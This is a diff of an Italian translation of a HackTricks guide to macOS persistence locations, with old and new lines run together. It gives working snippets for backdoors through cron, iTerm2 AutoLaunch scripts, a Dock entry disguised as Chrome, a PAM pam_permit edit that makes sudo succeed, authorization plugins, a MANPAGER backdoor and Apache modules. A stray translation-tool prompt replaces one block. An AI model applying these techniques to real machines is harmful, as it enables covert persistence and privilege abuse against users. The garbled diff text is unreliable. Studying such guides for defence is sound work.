#### Posizione #### Posizione
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
* Root richiesto per l'accesso diretto in scrittura. Nessun accesso root richiesto se puoi eseguire `crontab <file>` * Root richiesto per l'accesso diretto in scrittura. Nessun accesso root richiesto se è possibile eseguire `crontab <file>`
* **Trigger**: Dipende dal lavoro cron * **Trigger**: Dipende dal lavoro cron
#### Descrizione ed Esploito #### Descrizione ed Esploito
@ -430,7 +431,7 @@ In MacOS è possibile trovare diverse cartelle che eseguono script con **certa f
# The one with the cron jobs is /usr/lib/cron/tabs/ # The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
``` ```
Qui puoi trovare i regolari **compiti cron**, i **compiti at** (non molto usati) e i **compiti periodici** (principalmente usati per pulire i file temporanei). I compiti periodici giornalieri possono essere eseguiti ad esempio con: `periodic daily`. Qui puoi trovare i regolari **compiti cron**, i **compiti at** (non molto usati) e i **compiti periodici** (principalmente utilizzati per pulire i file temporanei). I compiti periodici giornalieri possono essere eseguiti ad esempio con: `periodic daily`.
Per aggiungere un **compito cron utente programmaticamente** è possibile utilizzare: Per aggiungere un **compito cron utente programmaticamente** è possibile utilizzare:
```bash ```bash
@ -443,7 +444,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.
* Utile per bypassare il sandbox: [](https://emojipedia.org/check-mark-button) * Utile per bypassare il sandbox: [](https://emojipedia.org/check-mark-button)
* Bypass TCC: [](https://emojipedia.org/check-mark-button) * Bypass TCC: [](https://emojipedia.org/check-mark-button)
* iTerm2 usato per avere ottenuto i permessi TCC * iTerm2 usato per avere permessi TCC concessi
#### Posizioni #### Posizioni
@ -465,25 +466,7 @@ EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
``` ```
```markdown Il seguente è il contenuto di un libro di hacking riguardante le tecniche di hacking. Il seguente contenuto è tratto dal file macos-hardening/macos-auto-start-locations.md. Traduci il testo inglese pertinente in italiano e restituisci la traduzione mantenendo esattamente la stessa sintassi markdown e html. Non tradurre cose come codice, nomi di tecniche di hacking, parole relative all'hacking, nomi di piattaforme cloud/SaaS (come Workspace, aws, gcp...), la parola 'leak', pentesting e tag markdown. Inoltre, non aggiungere nulla di extra oltre alla traduzione e alla sintassi markdown.
## macOS Auto Start Locations
### Launch Agents
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
### Launch Daemons
Launch Daemons are used to run processes at system boot or login. They are stored in `/Library/LaunchDaemons/`.
### Login Items
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
### Startup Items
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
```
```bash ```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3 #!/usr/bin/env python3
@ -546,7 +529,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
* Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button) * Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button)
* Ma xbar deve essere installato * Ma xbar deve essere installato
* Bypass TCC: [](https://emojipedia.org/check-mark-button) * Bypass TCC: [](https://emojipedia.org/check-mark-button)
* Richiede le autorizzazioni di Accessibilità * Richiede i permessi di Accessibilità
#### Posizione #### Posizione
@ -606,7 +589,7 @@ Questo strumento consente di indicare le applicazioni o script da eseguire quand
* Utile per bypassare il sandbox: [](https://emojipedia.org/check-mark-button) * Utile per bypassare il sandbox: [](https://emojipedia.org/check-mark-button)
* Ma Alfred deve essere installato * Ma Alfred deve essere installato
* Bypass TCC: [](https://emojipedia.org/check-mark-button) * Bypass TCC: [](https://emojipedia.org/check-mark-button)
* Richiede autorizzazioni Automazione, Accessibilità e persino accesso completo al disco * Richiede le autorizzazioni Automazione, Accessibilità e persino Accesso Completo al Disco
#### Posizione #### Posizione
@ -621,7 +604,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
* Utile per bypassare il sandbox: [](https://emojipedia.org/check-mark-button) * Utile per bypassare il sandbox: [](https://emojipedia.org/check-mark-button)
* Ma ssh deve essere abilitato e utilizzato * Ma ssh deve essere abilitato e utilizzato
* Bypass TCC: [](https://emojipedia.org/check-mark-button) * Bypass TCC: [](https://emojipedia.org/check-mark-button)
* SSH ha accesso completo al disco * SSH ha accesso FDA
#### Posizione #### Posizione
@ -632,7 +615,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
* **Trigger**: Accesso tramite ssh * **Trigger**: Accesso tramite ssh
{% hint style="danger" %} {% hint style="danger" %}
Per attivare ssh è necessario l'accesso completo al disco: Per attivare ssh è necessario l'Accesso Completo al Disco:
```bash ```bash
sudo systemsetup -setremotelogin on sudo systemsetup -setremotelogin on
``` ```
@ -681,7 +664,7 @@ Gli **elementi di accesso** possono **anche** essere indicati utilizzando l'API
(Controlla la sezione precedente sugli Elementi di Accesso, questa è un'estensione) (Controlla la sezione precedente sugli Elementi di Accesso, questa è un'estensione)
Se si memorizza un file **ZIP** come un **Elemento di Accesso**, l'**`Utility Archivio`** lo aprirà e se ad esempio lo zip fosse memorizzato in **`~/Library`** e contenesse la cartella **`LaunchAgents/file.plist`** con un backdoor, quella cartella verrà creata (non lo è di default) e il plist verrà aggiunto in modo che la prossima volta che l'utente effettuerà nuovamente l'accesso, il **backdoor indicato nel plist verrà eseguito**. Se si memorizza un file **ZIP** come un **Elemento di Accesso**, l'**`Utility Archivio`** lo aprirà e se ad esempio lo ZIP fosse memorizzato in **`~/Library`** e contenesse la cartella **`LaunchAgents/file.plist`** con un backdoor, quella cartella verrà creata (non lo è di default) e il plist verrà aggiunto in modo che la prossima volta che l'utente effettuerà nuovamente l'accesso, il **backdoor indicato nel plist verrà eseguito**.
Un'altra opzione sarebbe creare i file **`.bash_profile`** e **`.zshenv`** all'interno della HOME dell'utente in modo che se la cartella LaunchAgents esiste già, questa tecnica funzionerebbe comunque. Un'altra opzione sarebbe creare i file **`.bash_profile`** e **`.zshenv`** all'interno della HOME dell'utente in modo che se la cartella LaunchAgents esiste già, questa tecnica funzionerebbe comunque.
@ -769,8 +752,8 @@ Se stampiamo il file del lavoro, scopriamo che contiene le stesse informazioni o
### Azioni della Cartella ### Azioni della Cartella
Documentazione: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ Descrizione: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
Documentazione: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) Descrizione: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
* Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button) * Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button)
* Ma è necessario essere in grado di chiamare `osascript` con argomenti per contattare **`System Events`** per poter configurare le Azioni della Cartella * Ma è necessario essere in grado di chiamare `osascript` con argomenti per contattare **`System Events`** per poter configurare le Azioni della Cartella
@ -785,7 +768,7 @@ Documentazione: [https://posts.specterops.io/folder-actions-for-persistence-on-m
* **`~/Library/Scripts/Folder Action Scripts`** * **`~/Library/Scripts/Folder Action Scripts`**
* **Trigger**: Accesso alla cartella specificata * **Trigger**: Accesso alla cartella specificata
#### Descrizione ed Sfruttamento #### Descrizione ed Esploito
Le Azioni della Cartella sono script attivati automaticamente dai cambiamenti in una cartella come l'aggiunta, la rimozione di elementi o altre azioni come l'apertura o il ridimensionamento della finestra della cartella. Queste azioni possono essere utilizzate per vari compiti e possono essere attivate in modi diversi come utilizzando l'interfaccia utente di Finder o comandi terminali. Le Azioni della Cartella sono script attivati automaticamente dai cambiamenti in una cartella come l'aggiunta, la rimozione di elementi o altre azioni come l'apertura o il ridimensionamento della finestra della cartella. Queste azioni possono essere utilizzate per vari compiti e possono essere attivate in modi diversi come utilizzando l'interfaccia utente di Finder o comandi terminali.
@ -810,7 +793,7 @@ Per rendere lo script sopra utilizzabile dalle Azioni Cartella, compilalo usando
```bash ```bash
osacompile -l JavaScript -o folder.scpt source.js osacompile -l JavaScript -o folder.scpt source.js
``` ```
Dopo che lo script è compilato, configura le Azioni Cartella eseguendo lo script qui sotto. Questo script abiliterà le Azioni Cartella a livello globale e attaccherà specificamente lo script precedentemente compilato alla cartella Scrivania. Dopo che lo script è compilato, configura le Azioni Cartella eseguendo lo script qui sotto. Questo script abiliterà le Azioni Cartella a livello globale e attaccherà specificamente lo script precedentemente compilato alla cartella Desktop.
```javascript ```javascript
// Enabling and attaching Folder Action // Enabling and attaching Folder Action
var se = Application("System Events"); var se = Application("System Events");
@ -865,28 +848,28 @@ Ora, proviamo a preparare questa persistenza senza accesso GUI:
Ora che abbiamo un ambiente vuoto Ora che abbiamo un ambiente vuoto
3. Copia il file di backup: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` 3. Copia il file di backup: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Apri l'applicazione Folder Actions Setup per applicare questa configurazione: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` 4. Apri l'applicazione Folder Actions Setup.app per consumare questa configurazione: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %} {% hint style="danger" %}
E questo non ha funzionato per me, ma queste sono le istruzioni della guida :( E questo non ha funzionato per me, ma queste sono le istruzioni della guida:(
{% endhint %} {% endhint %}
### Scorciatoie Dock ### Scorciatoie Dock
Guida: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/) Guida: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
* Utile per bypassare il sandbox: [](https://emojipedia.org/check-mark-button) * Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button)
* Ma è necessario avere installata un'applicazione dannosa all'interno del sistema * Ma è necessario avere installata un'applicazione dannosa all'interno del sistema
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) * Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Posizione #### Posizione
* `~/Library/Preferences/com.apple.dock.plist` * `~/Library/Preferences/com.apple.dock.plist`
* **Trigger**: Quando l'utente fa clic sull'applicazione nella dock * **Trigger**: Quando l'utente fa clic sull'app all'interno del dock
#### Descrizione ed Esploito #### Descrizione ed Esploito
Tutte le applicazioni che appaiono nella Dock sono specificate all'interno del plist: **`~/Library/Preferences/com.apple.dock.plist`** Tutte le applicazioni che appaiono nel Dock sono specificate all'interno del plist: **`~/Library/Preferences/com.apple.dock.plist`**
È possibile **aggiungere un'applicazione** semplicemente con: È possibile **aggiungere un'applicazione** semplicemente con:
@ -900,7 +883,7 @@ killall Dock
``` ```
{% endcode %} {% endcode %}
Utilizzando un po' di **ingegneria sociale** potresti **fingere di essere ad esempio Google Chrome** nella dock e in realtà eseguire il tuo script: Utilizzando un po' di **ingegneria sociale** potresti **fingere di essere ad esempio Google Chrome** nella dock e effettivamente eseguire il tuo script:
```bash ```bash
#!/bin/sh #!/bin/sh
@ -955,7 +938,7 @@ killall Dock
``` ```
### Selezionatori di colore ### Selezionatori di colore
Scrittura: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/) Descrizione: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
* Utile per aggirare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Utile per aggirare il sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Deve verificarsi un'azione molto specifica * Deve verificarsi un'azione molto specifica
@ -972,13 +955,11 @@ Scrittura: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit
#### Descrizione ed Exploit #### Descrizione ed Exploit
**Compila un bundle** selettore di colore con il tuo codice (potresti utilizzare [**questo ad esempio**](https://github.com/viktorstrate/color-picker-plus)) e aggiungi un costruttore (come nella sezione [Salvaschermo](macos-auto-start-locations.md#screen-saver)) e copia il bundle in `~/Library/ColorPickers`. **Compila un bundle** selettore di colore con il tuo codice (potresti utilizzare [**questo ad esempio**](https://github.com/viktorstrate/color-picker-plus)) e aggiungi un costruttore (come nella sezione [Screen Saver](macos-auto-start-locations.md#screen-saver)) e copia il bundle in `~/Library/ColorPickers`.
Quindi, quando il selettore di colore viene attivato, anche il tuo codice dovrebbe essere attivato. Quindi, quando il selettore di colore viene attivato, anche il tuo codice dovrebbe essere attivato.
Nota che il binario che carica la tua libreria ha un **sandbox molto restrittivo**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` Nota che il binario che carica la tua libreria ha un **sandbox molto restrittivo**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
{% code overflow="wrap" %}
```bash ```bash
[Key] com.apple.security.temporary-exception.sbpl [Key] com.apple.security.temporary-exception.sbpl
[Value] [Value]
@ -1119,13 +1100,13 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
@end @end
``` ```
### Plugin di Spotlight ### Plugin Spotlight
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Utile per aggirare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Utile per aggirare il sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Ma finirai in un sandbox dell'applicazione * Ma finirai in un sandbox dell'applicazione
* Bypass di TCC: [🔴](https://emojipedia.org/large-red-circle) * Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
* Il sandbox sembra molto limitato * Il sandbox sembra molto limitato
#### Posizione #### Posizione
@ -1145,11 +1126,11 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
#### Descrizione ed Esploitation #### Descrizione ed Esploitation
Spotlight è la funzione di ricerca integrata di macOS, progettata per fornire agli utenti un **accesso rapido e completo ai dati sui loro computer**.\ Spotlight è la funzione di ricerca integrata di macOS, progettata per fornire agli utenti un **accesso rapido e completo ai dati sui loro computer**.\
Per facilitare questa rapida capacità di ricerca, Spotlight mantiene un **database proprietario** e crea un indice **analizzando la maggior parte dei file**, consentendo ricerche veloci sia attraverso i nomi dei file che attraverso i loro contenuti. Per facilitare questa rapida capacità di ricerca, Spotlight mantiene un **database proprietario** e crea un indice **analizzando la maggior parte dei file**, consentendo ricerche rapide sia attraverso i nomi dei file che attraverso i loro contenuti.
Il meccanismo sottostante di Spotlight coinvolge un processo centrale chiamato 'mds', che sta per **'metadata server'**. Questo processo coordina l'intero servizio di Spotlight. A complemento di questo, ci sono più demoni 'mdworker' che svolgono una varietà di compiti di manutenzione, come l'indicizzazione di diversi tipi di file (`ps -ef | grep mdworker`). Questi compiti sono resi possibili attraverso i plugin importatori di Spotlight, o **".bundle di mdimporter"**, che consentono a Spotlight di comprendere e indicizzare contenuti in una vasta gamma di formati di file. Il meccanismo sottostante di Spotlight coinvolge un processo centrale chiamato 'mds', che sta per **'metadata server'**. Questo processo coordina l'intero servizio Spotlight. A complemento di questo, ci sono più demoni 'mdworker' che svolgono una varietà di compiti di manutenzione, come l'indicizzazione di diversi tipi di file (`ps -ef | grep mdworker`). Questi compiti sono resi possibili attraverso i plugin importatori di Spotlight, o **".mdimporter bundles**", che consentono a Spotlight di comprendere e indicizzare contenuti in una vasta gamma di formati di file.
I plugin o **bundle `.mdimporter`** sono situati nei luoghi menzionati in precedenza e se compare un nuovo bundle viene caricato entro un minuto (non è necessario riavviare nessun servizio). Questi bundle devono indicare quali **tipi di file ed estensioni possono gestire**, in questo modo, Spotlight li utilizzerà quando viene creato un nuovo file con l'estensione indicata. I plugin o **bundle `.mdimporter`** si trovano nei luoghi menzionati in precedenza e se compare un nuovo bundle viene caricato entro un minuto (non è necessario riavviare nessun servizio). Questi bundle devono indicare quali **tipi di file ed estensioni possono gestire**, in questo modo, Spotlight li utilizzerà quando viene creato un nuovo file con l'estensione indicata.
È possibile **trovare tutti i `mdimporter`** caricati eseguendo: È possibile **trovare tutti i `mdimporter`** caricati eseguendo:
```bash ```bash
@ -1203,7 +1184,7 @@ Inoltre, i plugin predefiniti di sistema hanno sempre la precedenza, quindi un a
{% endhint %} {% endhint %}
Per creare il tuo importatore puoi iniziare con questo progetto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e poi cambiare il nome, il **`CFBundleDocumentTypes`** e aggiungere **`UTImportedTypeDeclarations`** in modo che supporti l'estensione che desideri supportare e rifletterle in **`schema.xml`**.\ Per creare il tuo importatore puoi iniziare con questo progetto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e poi cambiare il nome, il **`CFBundleDocumentTypes`** e aggiungere **`UTImportedTypeDeclarations`** in modo che supporti l'estensione che desideri supportare e rifletterle in **`schema.xml`**.\
Poi **modifica** il codice della funzione **`GetMetadataForFile`** per eseguire il payload quando viene creato un file con l'estensione elaborata. Poi **modifica** il codice della funzione **`GetMetadataForFile`** per eseguire il tuo payload quando viene creato un file con l'estensione elaborata.
Infine **compila e copia il tuo nuovo `.mdimporter`** in una delle posizioni precedenti e puoi controllare quando viene caricato **monitorando i log** o controllando **`mdimport -L.`** Infine **compila e copia il tuo nuovo `.mdimporter`** in una delle posizioni precedenti e puoi controllare quando viene caricato **monitorando i log** o controllando **`mdimport -L.`**
@ -1254,7 +1235,7 @@ Descrizione: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevil
#### Descrizione & Sfruttamento #### Descrizione & Sfruttamento
Gli script periodici (**`/etc/periodic`**) vengono eseguiti a causa dei **launch daemons** configurati in `/System/Library/LaunchDaemons/com.apple.periodic*`. Nota che gli script memorizzati in `/etc/periodic/` vengono **eseguiti** come **proprietario del file,** quindi ciò non funzionerà per un potenziale escalation dei privilegi. Gli script periodici (**`/etc/periodic`**) vengono eseguiti a causa dei **launch daemons** configurati in `/System/Library/LaunchDaemons/com.apple.periodic*`. Nota che gli script memorizzati in `/etc/periodic/` vengono **eseguiti** come **proprietario del file,** quindi questo non funzionerà per un potenziale escalation di privilegi.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
# Launch daemons that will execute the periodic scripts # Launch daemons that will execute the periodic scripts
@ -1298,7 +1279,7 @@ monthly_local="/etc/monthly.local" # Local scripts
Se riesci a scrivere uno qualsiasi dei file `/etc/daily.local`, `/etc/weekly.local` o `/etc/monthly.local` verrà **eseguito prima o poi**. Se riesci a scrivere uno qualsiasi dei file `/etc/daily.local`, `/etc/weekly.local` o `/etc/monthly.local` verrà **eseguito prima o poi**.
{% hint style="warning" %} {% hint style="warning" %}
Nota che lo script periodico verrà **eseguito come proprietario dello script**. Quindi se uno script è di proprietà di un utente regolare, verrà eseguito come tale utente (questo potrebbe prevenire attacchi di escalation di privilegi). Nota che lo script periodico verrà **eseguito come proprietario dello script**. Quindi se uno script è di proprietà di un utente regolare, verrà eseguito come tale utente (questo potrebbe prevenire attacchi di escalation dei privilegi).
{% endhint %} {% endhint %}
### PAM ### PAM
@ -1340,13 +1321,13 @@ session required pam_permit.so
E quindi qualsiasi tentativo di utilizzare **`sudo` funzionerà**. E quindi qualsiasi tentativo di utilizzare **`sudo` funzionerà**.
{% hint style="danger" %} {% hint style="danger" %}
Si noti che questa directory è protetta da TCC, quindi è molto probabile che all'utente venga richiesto un prompt per l'accesso. Si noti che questa directory è protetta da TCC, quindi è molto probabile che all'utente venga richiesto l'accesso.
{% endhint %} {% endhint %}
### Plugin di Autorizzazione ### Plugin di Autorizzazione
Documentazione: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\ Descrizione: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Documentazione: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) Descrizione: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* Utile per aggirare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Utile per aggirare il sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Ma è necessario essere root e apportare configurazioni aggiuntive * Ma è necessario essere root e apportare configurazioni aggiuntive
@ -1358,9 +1339,9 @@ Documentazione: [https://posts.specterops.io/persistent-credential-theft-with-au
* Richiede privilegi di root * Richiede privilegi di root
* È anche necessario configurare il database di autorizzazione per utilizzare il plugin * È anche necessario configurare il database di autorizzazione per utilizzare il plugin
#### Descrizione ed Sfruttamento #### Descrizione ed Esploito
È possibile creare un plugin di autorizzazione che verrà eseguito quando un utente effettua l'accesso per mantenere la persistenza. Per ulteriori informazioni su come creare uno di questi plugin, controllare le documentazioni precedenti (e fare attenzione, un plugin scritto male potrebbe bloccarti e dovrai pulire il tuo Mac dalla modalità di ripristino). È possibile creare un plugin di autorizzazione che verrà eseguito quando un utente effettua l'accesso per mantenere la persistenza. Per ulteriori informazioni su come creare uno di questi plugin, controlla le descrizioni precedenti (e fai attenzione, un plugin scritto male potrebbe bloccarti e dovresti pulire il tuo Mac dalla modalità di ripristino).
```objectivec ```objectivec
// Compile the code and create a real bundle // Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth // gcc -bundle -framework Foundation main.m -o CustomAuth
@ -1417,18 +1398,18 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
#### Posizione #### Posizione
* **`/private/etc/man.conf`** * **`/private/etc/man.conf`**
* Richiesto accesso come root * Richiesto accesso root
* **`/private/etc/man.conf`**: Ogni volta che man viene utilizzato * **`/private/etc/man.conf`**: Ogni volta che viene utilizzato man
#### Descrizione & Exploit #### Descrizione ed Exploit
Il file di configurazione **`/private/etc/man.conf`** indica il binario/script da utilizzare quando si aprono i file di documentazione di man. Quindi il percorso dell'eseguibile potrebbe essere modificato in modo che ogni volta che l'utente utilizza man per leggere alcuni documenti, venga eseguita una backdoor. Il file di configurazione **`/private/etc/man.conf`** indica il binario/script da utilizzare quando si aprono i file di documentazione di man. Quindi il percorso dell'eseguibile potrebbe essere modificato in modo che ogni volta che l'utente utilizza man per leggere alcuni documenti, venga eseguita una backdoor.
Ad esempio impostato in **`/private/etc/man.conf`**: Per esempio impostato in **`/private/etc/man.conf`**:
``` ```
MANPAGER /tmp/view MANPAGER /tmp/view
``` ```
E poi crea `/tmp/view` come: E quindi crea `/tmp/view` come:
```bash ```bash
#!/bin/zsh #!/bin/zsh
@ -1453,7 +1434,9 @@ touch /tmp/manconf
#### Descrizione & Exploit #### Descrizione & Exploit
È possibile indicare in `/etc/apache2/httpd.conf` di caricare un modulo aggiungendo una riga come: È possibile indicare in `/etc/apache2/httpd.conf` di caricare un modulo aggiungendo una riga come questa:
{% code overflow="wrap" %}
```bash ```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
``` ```
@ -1505,7 +1488,7 @@ Puoi forzare un avviso con `sudo audit -n`.
**Questo è deprecato, quindi non dovrebbe essere trovato in quelle directory.** **Questo è deprecato, quindi non dovrebbe essere trovato in quelle directory.**
{% endhint %} {% endhint %}
Il **StartupItem** è una directory che dovrebbe essere posizionata all'interno di `/Library/StartupItems/` o `/System/Library/StartupItems/`. Una volta che questa directory è stata creata, deve contenere due file specifici: Lo **StartupItem** è una directory che dovrebbe essere posizionata all'interno di `/Library/StartupItems/` o `/System/Library/StartupItems/`. Una volta che questa directory è stata creata, deve contenere due file specifici:
1. Uno **script rc**: Uno script shell eseguito all'avvio. 1. Uno **script rc**: Uno script shell eseguito all'avvio.
2. Un file **plist**, specificamente chiamato `StartupParameters.plist`, che contiene varie impostazioni di configurazione. 2. Un file **plist**, specificamente chiamato `StartupParameters.plist`, che contiene varie impostazioni di configurazione.
@ -1590,9 +1573,9 @@ Non riesco a trovare questo componente nel mio macOS, per ulteriori informazioni
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
Introdotto da Apple, **emond** è un meccanismo di logging che sembra essere sottosviluppato o possibilmente abbandonato, ma rimane accessibile. Anche se non particolarmente utile per un amministratore Mac, questo servizio oscuro potrebbe fungere da metodo di persistenza sottile per attori minacciosi, probabilmente non notato dalla maggior parte degli amministratori macOS. Introdotto da Apple, **emond** è un meccanismo di logging che sembra essere sottosviluppato o possibilmente abbandonato, ma rimane comunque accessibile. Anche se non particolarmente utile per un amministratore Mac, questo servizio oscuro potrebbe fungere da metodo di persistenza sottile per attori minacciosi, probabilmente non notato dalla maggior parte degli amministratori macOS.
Per coloro che ne sono a conoscenza, identificare qualsiasi uso malintenzionato di **emond** è semplice. Il LaunchDaemon di sistema per questo servizio cerca script da eseguire in una singola directory. Per ispezionare ciò, può essere utilizzato il seguente comando: Per coloro che ne sono a conoscenza, identificare eventuali utilizzi maliziosi di **emond** è semplice. Il LaunchDaemon di sistema per questo servizio cerca script da eseguire in una singola directory. Per ispezionare ciò, può essere utilizzato il seguente comando:
```bash ```bash
ls -l /private/var/db/emondClients ls -l /private/var/db/emondClients
``` ```
@ -1646,9 +1629,9 @@ Descrizione: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevil
#### Descrizione e Sfruttamento #### Descrizione e Sfruttamento
Apparentemente il `plist` da `/System/Library/LaunchAgents/com.apple.amstoold.plist` stava utilizzando questo binario mentre esponendo un servizio XPC... il fatto è che il binario non esisteva, quindi potevi inserire qualcosa lì e quando il servizio XPC veniva chiamato, verrà chiamato il tuo binario. Apparentemente il `plist` da `/System/Library/LaunchAgents/com.apple.amstoold.plist` stava utilizzando questo binario mentre esponendo un servizio XPC... il fatto è che il binario non esisteva, quindi potevi inserire qualcosa lì e quando il servizio XPC veniva chiamato, il tuo binario sarebbe stato eseguito.
Non riesco più a trovare questo nel mio macOS. Non riesco più a trovarlo nel mio macOS.
### ~~xsanctl~~ ### ~~xsanctl~~
@ -1662,7 +1645,7 @@ Descrizione: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevil
#### Descrizione e sfruttamento #### Descrizione e sfruttamento
Apparentemente non è molto comune eseguire questo script e non sono riuscito nemmeno a trovarlo nel mio macOS, quindi se desideri ulteriori informazioni controlla il writeup. Apparentemente non è molto comune eseguire questo script e non sono riuscito nemmeno a trovarlo nel mio macOS, quindi se desideri ulteriori informazioni consulta il writeup.
### ~~/etc/rc.common~~ ### ~~/etc/rc.common~~
@ -1768,16 +1751,17 @@ esac
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) * [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) * [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
